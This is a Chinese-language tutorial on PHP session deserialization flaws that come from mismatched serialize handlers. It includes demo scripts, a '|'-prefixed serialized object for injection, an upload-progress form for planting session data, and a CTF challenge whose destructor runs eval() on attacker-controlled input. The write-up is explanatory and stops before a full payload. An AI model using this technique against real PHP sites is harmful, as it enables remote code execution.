PHP?session的反序列化你了解嗎
session反序列化的漏洞是由三種不同的反序列化引擎所產(chǎn)生的的漏洞
其中
session.serialize_handler string--定義用來序列化/反序列化的處理器名字。默認(rèn)使用php

若使用如下設(shè)置:
<?php
//ini_set('session.serialize_handler', 'php');
//ini_set("session.serialize_handler", "php_serialize");
ini_set("session.serialize_handler", "php_binary");
phpinfo();

則改變了序列化的引擎
save_path則是session的存放路徑 我們可以通過改變ini_Set來查看不同引擎下的序列化的類型
三種引擎的存儲格式:
php : a|s:3:"wzk";
php_serialize : a:1:{s:1:"a";s:3:"wzk";}
php_binary : as:3:"wzk";
漏洞產(chǎn)生在于
php引擎的存儲格式是鍵名 |serialized_string,而php_serialize引擎的存儲格式是serialized_string。如果程序使用兩個引擎來分別處理的話就會出現(xiàn)問題。
session_start() 會創(chuàng)建新會話或者重用現(xiàn)有會話。 如果通過 GET 或者 POST 方式,或者使用 cookie 提交了會話 ID, 則會重用現(xiàn)有會話。
所以如果存在兩種不同的引擎,就可以利用session_start()的自動反序列化,把我們想要傳輸?shù)臄?shù)據(jù)傳輸?shù)椒?wù)器中:
eg:
<?php
ini_set("session.serialize_handler", "php_serialize");
session_start();
$_SESSION['swaggyp'] = $_GET['a'];
echo var_dump($_SESSION);
代碼1:用來保存在本地一個session
代碼2:
<?php
ini_set('session.serialize_handler', 'php');
session_start();
echo var_dump($_SESSION);
class student{
var $name;
var $age;
function __wakeup()
{
// TODO: Implement __wakeup() method.
echo "wzk".$this->name;
}
}
用于讀取session然后進行反序列化 若wakeup方法被調(diào)用則說明反序列化成功
<?php
class student{
var $name;
var $age;
}
$a = new student();
$a->nage = "swaggyp";
$a->age = "1111";
echo serialize($a);
//O:7:"student":3:{s:4:"name";N;s:3:"age";s:4:"1111";s:4:"nage";s:7:"swaggyp";}
該代碼用于生成一個一個序列
參考于:
生成后,在1中傳入這段序列化的值并在開頭加入 | 則在第二個文件被解析的時候,就會把|后的內(nèi)容直接當(dāng)成一個類去解析 實現(xiàn)我們的目的


成功了
php 這個session.serialize_handler 將 | 后的字符串反序列化,導(dǎo)致產(chǎn)生惡意對象。
upload過程中會產(chǎn)生session,存在一個鍵值對的值為filename(可控),如果filename被我們修改為|+序列化對象字符串(特殊字符記得轉(zhuǎn)義),filename |后的內(nèi)容就會被認(rèn)為是序列化的內(nèi)容,進而反序列化產(chǎn)生惡意對象(實際上PHP中session是寫到文件中的,我們暫且忽略這一中間步驟對此處并無影響),在對象自毀時去執(zhí)行__destruct()內(nèi)的語句
<form action =“ upload.php” method =“ POST” enctype =“ multipart / form-data”>
<input type =“ hidden” name =“ PHP_SESSION_UPLOAD_PROGRESS” value =“ ryat” />
<input type =“ file” name =“ file” />
<input type =“ submit” />
</ form>
S E S S I O N 中 的 鍵 值 就 會 為 _SESSION中的鍵值就會為 S?ESSION中的鍵值就會為_SESSION[“upload_progress_ryat”],在會話上傳過程中,將對會話數(shù)據(jù)進行序列化/反序列化,序列化格式由php.ini中的session.serialize_handler選項設(shè)置。 這意味著,如果在腳本中設(shè)置了不同的serialize_handler,那么可以導(dǎo)致注入任意session數(shù)據(jù)
題目:
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
構(gòu)造登錄框和payload

總結(jié)
本篇文章就到這里了,希望能夠給你帶來幫助,也希望您能夠多多關(guān)注腳本之家的更多內(nèi)容!
相關(guān)文章
使用php來實現(xiàn)網(wǎng)絡(luò)服務(wù)
在調(diào)用網(wǎng)絡(luò)服務(wù)的過程中,需要兩個消息,發(fā)送的消息和接受的消息,又來有往方能來往不是。2009-09-09
使用PHPMYADMIN操作mysql數(shù)據(jù)庫添加新用戶和數(shù)據(jù)庫的方法
在Mysql中創(chuàng)建多用戶,為了讓每個用戶在使用phpmyadmin管理數(shù)據(jù)庫時,只能看到自己同名的數(shù)據(jù)庫,所以在設(shè)置用戶權(quán)限時要特別注意!可以參考以下步驟設(shè)置用戶權(quán)限。2010-04-04
PHP數(shù)據(jù)庫操作之基于Mysqli的數(shù)據(jù)庫操作類庫
Mysqli 是什么,我這里也不進行描述了。因為網(wǎng)上關(guān)于 Mysqli 的教程數(shù)不勝數(shù),我這里為大家介紹一款基于 Mysqli 的操作數(shù)據(jù)庫類(M.class.php)2014-04-04

